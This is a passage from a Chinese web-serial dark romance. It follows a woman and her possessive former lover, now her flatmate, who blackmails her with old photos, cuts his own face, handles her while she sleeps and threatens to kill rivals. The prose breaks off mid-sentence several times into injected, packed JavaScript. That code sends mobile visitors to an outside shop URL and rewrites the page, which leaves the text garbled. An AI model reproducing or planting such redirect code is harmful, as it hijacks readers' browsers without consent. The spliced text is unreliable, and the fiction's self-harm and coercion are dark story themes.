骆池咒的额角已浮起一层薄汗,沾着湿漉漉的头发,他蜷缩在沙发上,气若游丝:“姐姐不必因为可怜我留下,像我这种打断别人脸骨的人,这都是我活该。” “你……”燕桐一时竟不知道说什么,她环视一周,瞥见了沙发上那件外套鼓起的口袋,以为是药,正要伸手摸过去却被骆池咒一把抓住手腕。 他的力气惊人的打,箍的燕桐手腕生疼,骆池咒像是条件反射似的猛地收回手,看向屋内的房门说:“药在那间房书架的第一排,那个白色的盒子。” 燕桐揉了揉手腕,虽然疑惑口袋里的东西,但也没多问转身进去拿药。 骆池咒的房间,她进门的瞬间又闻到了那股熟悉的焦灼味混着青苔的气味,这房间布置很简单,跟看房时的布置基本没差。 燕桐锁定那盒药,刚拿了想走余光却瞥到墙角多了一个暗紫色的柜子,铁皮包裹高近乎两米,外面还上了三个不同的锁。 燕桐刚想靠近看看,却听见外面骆池咒疼痛的低吼声,她忙拿着药出去。 外面沙发上的骆池咒听到声音,忙将口袋里那盒鲜红的血液藏进衣服里,继续蜷缩在沙发上。 “来,快把药吃了。”燕桐将药递给他,端来一杯水,骆池咒没有伸手接,而是一口吞了药就这她的手喝了口水。 下唇触碰到她拇指的瞬间,骆池咒几乎压不住眼底的满腹诡谲,他用一种近乎掠夺的目光看向燕桐的背影,却瞬间又变得贪恋祈求。 “姐姐……以前事后都是我用嘴喂你喝水的。” 5. 第 5 章 燕桐还要去店里帮忙,在骆池咒症状缓和后,她快速简单的收拾了下行李,简单交代了几句就出了门。 临走前骆池咒和她再见,笑容像个孩子般人畜无害,一如当年在一起的模样,与他时不时露出的狠戾格格不入。 他脸颊惨白的没有人气,头发湿漉漉的,此刻燕桐很难不承认,她对他的恐惧转而变成了一种难言的滋味,也许他没那么可怕。 是她畏惧那段放纵的时光被人所揭开,也将他一并列入了恐惧。 她拿着伞转身离开。 她离开后,原本还面色惨白,蜷缩成一团的骆池咒突然就坐了起来,湿漉漉的带着小卷的长发沾在瘦削的脸上,嘴角的笑逐渐变的病态。 他从旁边的架子上抽出早就准备好的相册,里面镶着厚厚的一沓照片,照片都打着统一样式的塑封,被保存的没有一丝褶皱。 里面是记录着燕桐为了发泄而跟他做的每一件疯狂的事,照片里燕桐染着红色的波浪卷,穿着细高跟他在陌生的城市街道,她们疯狂接吻拥抱,燕桐烈焰红唇,眼神迷离游荡在凌晨的海边。 而骆池咒一身黑,就静静的笑着跟在她身后。 这样的放纵的照片无数张,他们混迹酒吧夜店,疯狂发泄,燕桐学着抽烟,却被呛出眼泪。 骆池咒贪恋的抚摸着照片的纹理,他喃喃道:“姐姐,还好你留下了,不然我只能脏给你看了。”他缓缓合上相册,掏出那个还没装满血的盒子,拿起旁边的水果刀,又进了卧室。 暴雨不知什么时候已经转为了蒙蒙细雨,裹挟着春天特有的嫩芽和泥土味道,雨水斜斜的打在身上,燕桐快走到店门口的时候,才想起忘了带备考的资料。 往常她都会在看店闲暇的时候复习,她踏进店里的时候,手机传来一阵提示音,是妈妈发来的消息,里面是她告诉自己提交提前退休申请的消息。 语气难掩激动,而燕桐看着却怎么也开心不起来,毕竟她能不能考上都是个未知数,而妈妈却已经…… 算了,一年而已考不上回去也已成定局,她抬走到柜台边的时候,看了眼钟表,才不过九点,店里几乎没有顾客。 弯腰放伞的瞬间,锁骨传来一阵撕裂的疼,她不禁低咒一声在:真是属狗的。 往常周末的时候顾客量会比较大,还有一部分是从对面纹身店出来,会顺道带个甜品离开,也有一些外派的单子,不过往往都是姜燕动手做,她打下手。 大部分顾客来都是买成品,燕桐刚坐在柜台旁,就看到姜燕从一旁的洗手间走了出来,她顺带问了两句搬家的是,燕桐说一切都顺利。 再然后姜燕就开始忙碌做蛋糕,她弯腰拿起搅蛋器,在玻璃碗里捣鼓着,店内格外安静,姜燕转头端详着燕桐平静清透的眉目,突然开口: “其实我很羡慕你,你好像天生有一种屏蔽力,任何肮脏复杂的圈子都离你很远。” 燕桐抬头:“也许是因为我被管的很严。” “这样多好,你没机会接触社会很多肮脏的地方,乖巧干净的一尘不染。”姜燕说完又补充了一句:“不止我,认识你的都这么觉得。” 燕桐却被她的话点到,她的思绪被拉回三年前放纵的那段日子,疯狂阴暗,他的温顺乖巧像是一面镜子,折射出她灵魂所有的肮脏和疯狂,而他是唯一窥见的人。 那段日子,她欢愉甚至带着一丝渴望,却难以启齿。 她试探性的问姜燕:“如果我是说如果,有一天你发现我不干净,而是一颗烂透了心的苹果呢?” 姜燕闻言却笑了一声:“你要是变坏了,地球估计都得倒着转了。”姜燕不以为意。 燕桐的话僵在嘴边,默默咽了下去。 店里都没什么顾客,姜燕百无聊赖的跟她讲着最近地段发生的八卦,她是一个侦查能力很强的人,消息灵通,又十分的八卦。 约莫到了十二点,姜燕突然打包了十几个蛋糕,说是要去送给对面的纹身店的店员,说是送其实就是想让他们多多介绍顾客,毕竟纹身的时候,提一嘴对面的蛋糕店只是顺嘴的事。 燕桐突然想到他上次充的纹身费用还没退,想到骆池咒也是对面纹身店的店员,她想着也顺便去把费用退了。 燕桐跟着姜燕一起去了纹身店,今天是周末,纹身店里顾客很少,也只有个边的纹身师在忙,依旧是驰囱出来接待,他一眼认出燕桐是上次来纹身的,毕竟她未成年的气质实在令他印象深刻。 而姜燕他也记得是对面甜品店的店长,上次骆哥就是委托他跟这姑娘签合同的。 姜燕嘴角扬起,交代了来意,驰囱也很会做生意,两人礼尚往来交谈甚欢。 燕桐头若有若无的往里探去,想看看骆池咒来了没,不过他早上还头痛欲裂,此刻估摸着在房子里休息呢。 她没忍住问了句驰囱:“上次你叫骆哥的那位纹身师来了吗?” 驰囱看了眼燕桐打探的目光,顿时明白了,毕竟经常来打探的姑娘不止这一位,驰囱应付起来得心应手:“你说的那位是我们店长,他只有每周三接待预约的顾客,今天没来。” “哦,没来啊,那就好。”燕桐把心放在肚子里。“上次没排到,今天能纹身吗?”燕桐想着趁他不再,赶紧纹掉,避免碰面,以后她再也不来这家店了。 驰囱见她没再追问,眉梢轻挑,毕竟今早还有个苏小姐来纹身,点名要骆哥服务。 驰囱转眼扫了一眼店内,道:“今天是周末,店里的纹身师都是跟顾客约好来的,可能暂时没空余的人手,我这会没事,那只小狗比较容易,我来吧。” 燕桐想了想点头,驰囱转身去拿工具,这会甜品店也没事,姜燕干脆也不回去,留下陪着燕桐,顺便随便聊聊。 而驰囱刚拿好工具,准备好图册,正要招呼燕桐去隔间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“不认识,在跟我姐姐打电话。”他身后隆起阴影,身型瘦削,黑毛衣下的骨骼却格外的宽大,气质死寂里隐着空洞,站在那仿佛周遭的空气都静止了。“只是觉得这位燕小姐很像我的一位故人。” 燕桐瞪了他一眼,却暗暗长舒一口气,搂着姜燕的手也不自觉放松。插曲过后,姜燕拉着燕桐“胃疼,走咱们赶紧去医院。” 而燕桐那还能走得了,只好缓缓抽出手,用一切阵痛的借口敷衍过去,还是决定留下纹个身再说去。 姜燕虽觉得哪里不对,却在受到一个紧急订单时,也只得匆匆离开。 店里只留下他们三人,驰囱见没事了,就忙招呼着燕桐过来纹身,嘴里还念叨着这只小狗很适合燕桐。 而感受到头顶死死盯着自己的目光,燕桐却突然开口:“我想让这位纹身师纹。”她如果跟驰囱走,指不定他还怎么折腾她呢。 驰囱却拿着纹身仪器,面露难色:“我们店长,只给高价预约的客人纹。”这些燕桐又何尝不知,可她也没办法,理智告诉她不能让驰囱纹。 驰囱见燕桐还没反应,刚准备再次开口,却听见楼上的骆池咒开口:“上来吧。” 6. 第 6 章 燕桐犹豫片刻,向驰囱点头示意,转身上了二楼,二楼开着两间房门,依旧是上次来的顾客接待室和、骆池咒的休息室。 而透过半开的门,燕桐看到骆池咒已经开始带一次性手套,凌乱的长发垂在而后,他转过纹身笔,转过头,示意燕桐进来。 燕桐犹豫了会:“一般顾客不是在隔壁这间休息室纹身吗?”她不知怎的,就是很怕进来这间屋子,满墙刺血的抽象画,还有上次骆池咒不知从哪冒出来的小隔间。 看着他手中尖锐的纹身笔,燕桐一阵冷汗。 骆池咒闻言,耳朵动了动,他转眼盯着燕桐,那眼神仿佛在说怕我吃了你。 “隔壁那架床坏了,你要想站着纹,我也不是不行。”他的语气带着凉凉的,听不出一丝情绪。 燕桐转身看去,却是看到那架床腿折了一截,床也变的斜斜的。 她无奈硬着头皮走进了骆池咒的休息室。 骆池咒带着手套,握着纹身笔,示意她坐到旁边的床上,这床铺着纯白的床单,旁边的铁架上还挂着一个薄薄的毯子,不用想也知道骆池咒平常在这休息。 燕桐觉得气氛有些诡异,她慢动作的缓缓坐上床,腿半截搭在床沿。 骆池咒看了眼图册上的图案,拿着酒精和起泡器靠近,他弯腰坐在床边的凳子上,与燕桐贴到格外近,几乎能闻到彼此的味道。 “想纹在哪?” 燕桐想了想,伸出手腕掌心向上:“这里吧。” 骆池咒伸出长臂拉紧装满纹身工具的推车,俯身握住她的手腕,他掌心冰凉的触感引的燕桐身躯一颤。 他开始用酒精和起泡器给手腕消毒,低着头动作熟稔神色淡漠,片刻燕桐的手腕浮现出一层淡淡的红。 骆池咒开始画图形,她感受到纹身笔的笔触游走在她手腕,痒痒的,这个距离,燕桐才第一次看清骆池咒的模样。 瘦削的脸庞,比正常人黑几倍的瞳仁,白里透青的皮肤,带着一点点褶皱的触感,微卷的长发凌乱的散布在脸侧,几乎遮挡住了耳朵和过半的眼睛。 而他偏身的这个动作,却刚好将右额的疤痕展露于她的视线里,深可见骨,纵然已经过了几年,新生的白肉也变成了凸起状,看起来却仍旧可怖。 燕桐看的入神,乍然回神,她的视线落到手腕那只生动的小狗上,与不远处画册上的那只竟一模一样,几乎是完美的复刻,而他明明刚才只是看了一眼,甚至连低头画的时候都没抬过头。 “别的纹身师往常都会打印图案,我就自作主张画了,姐姐看看,满意吗。” 燕桐点点头,骆池咒却握着那只手腕轻轻摩挲,他想是想到什么,突然开口:“很久以前,我也邀请过姐姐纹身,但我记得姐姐说怕疼。” 那时骆池咒半哄半骗的求着燕桐在心口互纹对方的名字,被燕桐以怕疼的借口拒绝,那时候,骆池咒早就察觉到燕桐要抛弃他的蛛丝马迹,才试图用这种方式逼迫她证明。 燕桐却故作没听懂,用客套的话附和着:“人会长大,以前怕疼不代表现在也怕。” 骆池咒却像是没听懂她的话一样,盯着那只狗所有所思,良久,他突然开口:“姐姐看,这只狗像不像我。” 手腕上卷毛的小狗吐着舌头,舒服的趴着,骆池咒就在想,姐姐不愿意纹她的名字,这是狗就是他了,他依旧被刻在了姐姐的身体上。 而此刻他没注意到,自己的眼神阴翳的有些可怕,燕桐被吓到,试探性的抽回手,试图把他拉出以前的回忆。 她试探性开口:“你看……我们以前的事也已经过去三年了,就没必要再提起了吧,比如对池囱或者我身边的朋友……” 她小心翼翼观察着他的神色。 骆池咒攥着纹身笔,偏着头,被头发遮住的瞳孔神色难辨,良久他缓缓开口:“我跟姐姐的回忆,是独属于我们的,自然不该让别人知道……” 他像是全然没读懂燕桐的目的,没有丝毫生气,麻痹一般的笑着说出这句话。 “我还记得,以前我跟姐姐在一起时,对你跟他的事,姐姐也是这么说的。”他缓缓抬头,看向燕桐:“这么多年了,姐姐还是没变。” 他转身拿起转印油涂抹在她手腕上,按压旋转:“其实我很好奇,姐姐后来,跟他在一起了吗?” 他低着头,语气波澜不惊,燕桐却想到当初慕司被打满脸是血的模样,像是被他的无所谓刺到,她心口莫名升腾出一股不满,道:“年底准备订婚了。” 其实她说这话更多是想让他别缠着自己。 骆池咒手上动作一顿,浓密的长发遮住眼里的杀意,语气却平静的听不出一丝情绪:“看来他没毁容啊。” “拜你所赐,他很好。” 骆池咒猛地握紧她手腕,眼神阴翳:“很好?不过我倒是很好奇,他如果真毁容了,姐姐还会要他吗?” “你真是疯子,你知道打人是犯法的吗?”“当年我们不是说好了,各取所需,随时喊停吗?又没给你戴绿帽子,你生的又是哪门子的气。” 骆池咒被气笑了:“姐姐,你哪里看出来我生气了,他那张脸被你看着回味着,我不过是轻轻的碰了他一下,姐姐就气成这样。” “重逢后,不一直很怕我吗,怎么一提到他,姐姐就这么迫不及待的帮他打抱不平。” “我是怕你,但那是因为我不想招惹你,不代表你能为所欲为。”燕桐也提高了音量。 “招惹?呵”他一把扣紧那只纤细的手腕,指尖用力到泛白:“当初不是姐姐先招惹我的吗?”他眼里是杀人的凉意。 燕桐被吓得顿时脸色煞白,骆池咒却自顾自的拿起色料,开始自顾自的给纹身上色,仿佛刚才什么都没有发生过,他自言自语: “姐姐还真是分裂,如今义正言辞避我如蛇蝎的模样,可与当年差多了。” 他的视线移到燕桐的心口,死死盯着:“姐姐这里,真的如表面这般无欲无求吗?还是……只是高段位的伪装。” “你到底想怎么样。”燕桐被盯得发毛,压着声音吼道。 骆池咒却已经熟练的上色完毕,他轻轻的笑着:“我能怎么样,一直以来不都是姐姐在玩我吗?” “还是说我说两句话,姐姐就不爱听了?” 他纹好后,自顾自的起身收拾工具,他的背影瘦削,骨骼却格外的宽大,身量几乎与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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而照现在这个点,骆池咒应该还没回来,燕桐放慢脚步走到门口,眼神示意原本只想忽略进门的,却在犹豫片刻后,还是忍不住缓缓开口: “在等今早租房的那位吗?” 苏玫附和着点了下头,期间好几次她试图压下嘴角的笑意,嘴角却都不争气的扬了起来。 燕桐看了眼她怀里的饭盒,顿了会道:“看着你应该才刚大学毕业吧,其实现在很多人都很擅长伪装。” “往往鬼都会披着一副人皮,为了某些目的笑着靠近你。” 苏玫被这话吓住,诧异了两秒,看着燕桐认真的表情,思考了两秒,恍然大悟:“你该不会也喜欢骆池咒吧?” 燕桐被反问的有些无语,她无奈扶额:“骆池咒他不是什么好人,你别被他伪装的假面骗了。” 原定的租客是一位女士,后来突然换成了不明不白的骆池咒,不难想到他在其中做了什么,有利可图才会以笑面示人。 但苏玫显然没将她的话听进去,看她的表情,早已将苏玫视为情敌。 她抱着饭盒气冲冲的离开。 而她刚走,楼道拐角的阴影处,突然走出一个人。 骆池咒站在不远处,笑着看着她。 7. 第 7 章 他站在阴影里,唇角勾起,眸子里却不见半分笑意。 他一步一步的靠近:“原来在姐姐眼里,我这么坏吗?” 燕桐眼神一转:“我是怕她烦你,故意这么说的。”她语气明显后劲不足,眼神有些飘忽。 骆池咒唇角弧度更深:“那我是不是可以理解为,姐姐也有了……危机感?” 燕桐一怔,把钥匙插进锁扣:“别开玩笑了,我都是要结婚的人了。”她推开门走了进去。 骆池咒在背后的眼神冷了几分,姐姐真会装。 燕桐打开灯,骆池咒就这样跟在身后,进门后坐在沙发上,眼睛一眨不眨的盯着燕桐的动作。 这房子在她们住进来之前,已经空置很久了,墙上的白漆也有些掉了,此刻屋外的天色已经完全变黑,树叶在离窗户不远的地方轻刷。 燕桐突然从口袋掏出一张纸,她坐在骆池咒对面,摊开纸道:“既然我们暂时是异性同居,总得有些规矩,我在纸上写了几点注意的,我给你念念。” “第一点,不能不敲门进入对方的房间,不能随便动客厅里属于对方的东西,不能偷窥对方的隐私,不能未经对方允许有肢体接触。” 骆池咒双腿交叉,随意的靠在沙发上,眼神微眯:“如果我是流氓或者小偷,姐姐觉得这几句话能有用,反之我如果是正人君子,也不需要立规矩。” 燕桐:“规矩都是给不老实的人的。” 她接着念:“第二点,不能随便带陌生人回来。第三点,不能不穿衣服或者少穿衣服到客厅,第四,不能在屋子里抽烟……第九,不能提起以前的事。” 骆池咒轻哼一声:“真是辛苦姐姐了,专门想到这些规矩防着我。” “不过,我有些好奇……” 他突然起身,俯身靠近燕桐,几乎和她对着额头:“姐姐越在乎这些,是不是代表……却在意我们以前的亲密呢?” 他唇角几乎擦着燕桐的脸颊,热气扑在她脸上,声音轻的不带人气,却蛊惑的人精神发麻。 燕桐被磨得脸颊发痒,她一把推开身前的人,骆池咒像是预料之中,重重的跌坐回沙发。 他胸脯微微起伏:“姐姐生气的样子,真可爱。”他勾起唇角。 燕桐把纸仍在他身上,压下情绪,提高音量道:“最后一点,以后别再叫我姐姐,我没有你这个弟弟。” 骆池咒有些委屈:“可是姐姐,我真的好依赖你啊,三年前我们在一起的日子,每分每秒我都记得清楚,姐姐以前都很喜欢我这么叫你的。” 像是突然想到了什么,他的脸色变的阴翳:“因为他跟姐姐同龄,从不叫你姐姐,而我这么叫了,姐姐觉得我不像他了。” 燕桐真是佩服他的脑回路。“跟这个有什么关系?我就是想说以前的事都过去了,没必要再提了。” 骆池咒闻言却猛的站了起来,一步一步的朝燕桐走去,他的声音压抑着怒火:“姐姐不爱听,我偏要提。”他的声音带上了哭腔,把头埋在燕桐的颈窝:“姐姐当年为什么不要我了,我真的很努力的模仿他了,我没他听话吗,我才不像他会出轨,姐姐为什么,为什么要这么对我。” 他身躯微微颤抖,燕桐能感受到他浑身绷紧的肌肉,脖颈变的黏腻,热热的水汽扑在上面。 “你别这样。”燕桐有些为难,轻轻的用力想推开他。 骆池咒手臂颤抖,挣扎良久还是顺着她的力道松开了手臂,他满眼通红,眼里蓄在眼眶,白白的脸颊染上一丝红。 他低着头攥紧拳头,极力隐匿着想把眼前人吞吃入腹的冲动,抬头换上一副惹人怜爱的表情:“姐姐,我求求你,别这样对我行吗,如果你怪我伤了他的脸,你也可以毁了我的。” 说话间,他不知从哪里掏出一把匕首,紧紧按在燕桐的掌心,攥紧她的指头,把刀刃抵在自己的脸上:“来,给他报仇,一刀不够就来十刀,解气了就原谅我,回到我身边。” “你疯了吗,放开我!”燕桐用力的抽着手,却不能撼动分毫。 他目光虔诚,握着燕桐的手却关节泛白“来啊,提他报仇,我只是一只狗,却伤了姐姐最喜欢的人,我该死。” 他突然按着燕桐的手,将刀刃猛地刺向脸颊,鲜血顿时顺着连侧滑下,燕桐脸色煞白,挣扎着抽手。 他却顿时像泄了力般,恐惧的捂住脸,“不行,不行,我不能毁容,这样就不像他了,姐姐更不喜欢我了。” 他突然疯了似乎冲向卧室,卧室顿时响起一阵摔东西的声音,燕桐迅速追了上去,刚冲到门口,就看到他从医药箱里猛地翻出一盒白色的粉末。 不顾脸上的血,把粉末攥紧在手里,用力的擦在伤口上,脸上被割开的血肉被他掌心摩擦的翻起,而他却仿佛不知道疼般,倒一掌心白粉,用力擦两次,再倒再擦,机械般的重复。 满脸满手的血,白色的盒子也沾满了掌心的鲜血,他的泪水顺着脸颊滑落,与白粉粘在一起。 燕桐猛地冲过去,一把抢过他手里的药盒:“你不要命了吗?”她看着他不忍直视的伤口,眼眶变红。 骆池咒却像是疯了般的对着自己扇巴掌,一掌又一掌,扇在自己伤口处。“不要,”燕桐心疼的冲上去紧紧拉住他的胳膊,用力阻拦着他反抗的动作。 “啊啊啊,”他一拳一拳打在地上,眼眶猩红“姐姐,我快憋疯了,你为什么不要我,他到底哪里好。” “别,我求你别这样,我不离开了。”燕桐再也不忍直视,紧紧的抱住他,他冰块般的体温传来,燕桐身躯一震。 她压下冲动,轻轻的摩挲着他瘦削的脊背,一声一声轻轻的安抚着。 怀里的人像是感受到安抚,渐渐平静了下来,他瘫倒在燕桐的怀里,露出从未有过的脆弱,眼泪源源不断的从眼眶留出。 “求你,别再离开我,别不要我,我会疯的,我真的会死的。”他哽咽着开口,气息越来越微弱。 “真的,我真的不离开了。”燕桐像他承诺。 燕桐从来没想到,他有这样不为人知脆弱的一面,从前他打伤慕司的时候,她只当他是不堪被背叛,虽然他从来都知道自己是替身,也从来无条件顺从自己的摆弄。 可她从来不知道,他阴暗的外表之下,时而无比狠戾甚至有些变态的行为下,有这么脆弱的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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燕桐回想着刚才的一幕,眼眶竟也不由得热了起来。 躺在床上的时候,她还在想着晚上的事,而后缓缓入梦,她感受到自己睡的很沉,几乎睁不开眼睛,她艰难的想睁开眼睛,却被紧紧的桎梏在床上。 她不由得想到了鬼压床,光影变幻之间,原本还死死睡在卧室的人,突然坐起身穿上拖鞋,推开门走了出去。 她睁着眼睛,瞳孔微眯,走路像是幽灵般轻而缓慢。 她伸出手推开骆池咒的房门,房里没有开灯,只有窗外微弱的月光打进窗户,打在骆池咒宽大而削瘦的背影上。 她缓缓的走到他旁边,纤细的指尖沿着他的脖颈一路滑至喉结,突然猛地一把掐住他的脖子,指甲陷进他的肉里。 她哄诱的声音响起:“不转身,不想见我?” 骆池咒被死死掐住,他缓缓扭头,眼神危险不带一丝人气,他笑着瘆人,缓缓开口:“主人,我一直在等你。” 她听到声音,却突然笑了起来,而那笑容,在惨白的月光下,比他的更瘆人…… 8. 第 8 章 她的指尖紧紧掐进他脖子,惨白的月光打在他脸上的刀疤上,骆池咒眉头微皱,眼神却含笑看着他。 只是那张光洁稚嫩的脸上,神色却攻的可怕。 “不好奇……我怎么猜到你在这的?” 骆池咒只笑着盯着她,脖颈被掐的青筋暴起。 “你的味道,我很熟悉,因为……你是我的。”她甩开他的脖子,转身缓缓的坐在床上。 骆池咒不可察觉的喉结微动,含笑半跪在她脚边,伸手捧住她的手,轻吻了上去。 阴暗的房间里,骆池咒的侧脸轮廓生硬唇角却始终勾着笑意。 “生气了?”他若有所思的摩挲着她的手问。 她一脚踹在他的肩膀,将他踹倒在地。 “你说呢?不是说爱我吗?怎么跟她同居了?她一把掐住他的下巴,指尖重重碾过他脸颊的刀伤。 骆池咒忍不住轻喘一声,却没动一下。 鲜血再次裂开,顺着他的脸颊留下,她将他的血沾在指尖,勾着唇一点点的抹在自己的唇上。 她勾起他的下颚,红唇勾起,声音勾人:“你是我的狗,心里不会还在想着她吧?” 骆池咒没有躲开,青白而修长的手指缓缓触摸上她唇上的鲜血,用他的衣袖轻轻的擦去血渍:“别沾血,脏。” “我的心里有谁,主人还不清楚吗?” “这次半个月没能出来,你答应我的事什么时候做到,”黑暗里,她的眼睛不带一丝温度,死死盯着他。 “才接近,不好下手,主人再等等好吗?”他缓缓起身,安抚性的攀上她的肩膀,唇角轻擦过她的脖颈。 气息交错间,她像是入了迷般的眯起眼睛,声音迷离:“抓进做掉她,别逼我动手。” “别急啊,跟我这样不好吗。” 她轻喘一声,胸脯微微起伏,环视一圈周围的环境:“这儿可比不上那块地方,太有人气,不适合我们。” “主人,在等等我………”骆池咒声音迷离,攀附在她脖颈。 夜幕漆黑,两人身影交错于窗前。 后来,伸手不见五指的黑夜,一道挺拔的身影伫立于窗前,一双漆黑的眸子死死盯着床上沉睡的面孔,那双安然的,毫无攻击性的脸庞。 她静静的睡着,像一个瓷娃娃般不真实。 黑暗里,他的轮廓模糊的几乎看不清,视线却牢牢的锁定那张床,他用温热的毛巾,轻轻的抬起她的手,一点点的擦过她的每一寸肌肤。 擦过她的脖颈和脸颊,擦干自己的味道。 “姐姐,我真的好爱你,可我却只能触摸到她,她跟你……可完全不能比。” “我会等你,等你愿意感受我,我会杀死那个女人,我不允许任何人对抗你,我会等真正的你,完全的你自愿的靠近我。” 他的指尖缓缓靠近,却在离她咫尺的距离顿住,像是觉得指尖有什么脏东西般,又缓缓的收回。 “姐姐,我刚才不是故意冒犯你的,我只是忍不住,感受你的温度,即使……只是你的一句壳子。” “姐姐,你这么讨厌我,如果有一天知道了我背着你做的事,又会如何看我呢,可我……真的管不了这么多了。” 他的眼睛突然死死盯着她,像变了一个人,指尖缓缓触上她的眉眼:“与其让你彻底离开我,不如让那个人占据着你的身体,至少我还能感受到你的温度。” 后来,不知过了多久,一直到床边的白光泛起,他枯坐的身影才缓缓挪动,推开门回头看了一眼,走了出去。 燕桐醒来的时候,已经临近中午十点,她点开手机的闹钟,竟然完全没响。 她撑起身子坐了起来,头痛剧烈,脑子里像是一堆毛线在缠绕,她穿上拖鞋走了出去,想出去倒杯水。 刚出门就闻到客厅一股饭香,她探出头看到骆池咒不知什么时候起的,竟然在空置了半年的厨房煮粥。 热气扑在他脸上,锅里腾腾的泛着白泡,似是感受到身后人的背影,骆池咒转身笑着: “姐姐起床了,来吃早饭。”话毕他不等燕桐回话,将粥盛在两个碗里,将温在锅里的宝子安置在碟子里,端到了饭桌前。 他招呼这燕桐坐在,又起身去倒了杯热水,递到燕桐旁边。 燕桐看到,他脸颊的刀伤不知何时已经重新清洗,涂上了药,而他此刻神色温和,眉眼带笑,像是完全将昨夜的事置之脑后。 燕桐头还沉的厉害,身体也格外的虚弱,像是被人附身吸走了阳气般。 她试探性的端起水杯,问道:“昨夜的事,你……”她其实是想问他还记得吗,或者是还有什么想说的。 骆池咒乖巧的喝了口粥,笑着道:“姐姐昨夜答应我了,再也不离开我的。” 这话出口,燕桐怔住,却一时不知道怎么回,她能不能告诉他,昨夜她只是一时情急安抚他。 骆池咒像是感应到般,反问道:“难道……姐姐是想反悔?” 话毕,他缓缓伸手抚上脸颊的伤口,看是轻一下重一下的碾压,没两下刚止血的伤口又泛出血丝。 燕桐连忙补充道:“怎么会呢,我,我昨夜的意思,其实是……” “是说以后不会再不告而别了。”燕桐希望她别误会,毕竟他的脑回路跟正常人不太一样。 骆池咒的眸子不难察觉的暗了几分,却在她视线挪过来的瞬间恢复如常,他乖巧的露出一个笑容:“那姐姐,我们还想以前一样相处好不好,我照顾姐姐的起居,姐姐也……继续把我当替身。” “你……你说什么?” 替身,三年前他那副模样犹在眼前,燕桐怎么感再答应他,而且她早已不是当年不懂事,只想发泄的小孩,更知道招惹和耽误他的后果。 “姐姐如果不答应,那以后准备和我以什么身份相处呢?” “朋友,还是姐弟?亦或是我去告诉他们,我们是分手三年的情人。” “不行,你不能告诉他们之前的事,你答应过我的。” “我告不告诉,就要看姐姐遵不遵守诺言了,昨夜你答应我的,姐姐知道我想要什么,别在装傻。” 燕桐挣扎两秒,在心里反复权衡,大不了就先答应他,到时候再找机会卷包袱跑,反正她父母刚搬了家,地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525834|203492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 址没人知道,倒是他也找不到。 “好,我答应你。” 骆池咒的身体一顿,桌下的身躯却在缓缓颤抖,他突然眼眶一红,眼泪止不住的往下掉。 他把碗推到燕桐旁边,身体前倾,视线牢牢的锁着她:“那姐姐喂我一口,我就相信你的话。” 他略显苍白的薄唇微张,眼皮有些乌青,发丝遮住半张鬓角,紧紧的盯着燕桐的脸,将她的每一个细微的动作尽收眼底。 燕桐有些为难,犹豫良久,刚拿起勺子,就听见骆池咒说了一句: “用嘴。” 燕桐怔住。 “姐姐不愿意,你以前也这样喂过我,难道都是骗我的?”他的声音越来越委屈,眼眶也红了起来,嘴唇却崛强的不肯后退半步。 “你,你别得寸进尺。”燕桐良久憋出来一句话,脸颊却已经有些发红。 骆池咒却猛地扣住她脖颈,一把拉近到自己唇边,温热的呼吸交错,只差一丝距离,唇角就要贴在一起。 燕桐大惊,刚反应过来抬手推他,他却猛地松手,捞起碗坐回了原位,优雅的将碗里的粥一饮而尽,盯着燕桐惊惧之余,已经略显愤怒的目光,他不动神色的抽了张纸,擦过唇角。 动作停下,他再度认真的盯紧燕桐,看着她说:“我不会勉强姐姐的,只求……姐姐别怕我,别离开我,能让我照顾你,像以前一样。” 燕桐看着他认真的神色,如果答应他,或许能让他放下防备,她才有机会偷到那个相册,顺便删掉他手机里的照片备份。 然后再卷包袱一走了之。 如今的当务之急就是得再次取得他的信任,于是燕桐干脆心一横,用一双葡萄般圆溜溜的清透眸子看着他,真挚的说:“其实……这些年我一直都想着你。” 她咬咬牙:“我还喜欢你。” 骆池咒身躯一僵,他原本惨白的脸在听到这句话后,竟不可察觉的升起一抹红晕,眸子也亮了起来。 他缓缓起身,靠近燕桐,伸手想抱他,却挣扎着收回了手,燕桐一把抱住他,拍着他的背: “放心吧,我一向说话算数,这次一定不会再抛弃你了。” 她能感受到骆池咒浑身紧绷的厉害,就连呼吸也越来越急促,她感受到脖颈流下一阵黏腻的液体。 他又哭了。 “姐姐之前还说要跟前男友订婚了。” “那都是开玩笑的,你也信。” 他的手直直的垂在身侧,眼神却猩红的可怕,他从喉咙里挤出几个字:“姐姐,别再骗我,否则我也不知道我会干出什么事。” “只要你不离开我,我愿意为你做一切事,变成你想要的任何样子,哪怕是模仿别人……” 话语间,燕桐口袋的手机突然响起一阵消息的提示音,燕桐松开骆池咒,掏出手机,刚打开屏幕就看到来点人慕司两个大字。 而很显然,骆池咒也看到了。 他原本猩红的瞳孔肉眼可见的蓄满了杀意,声音变的阴森: “姐姐,他还缠着你?要不要我去……” 他做了一个抹脖的动作。 9. 第 9 章 “你疯了吗!”燕桐吼道,吼完又觉得自己反应过大,故作镇定的道:“别乱说了。” 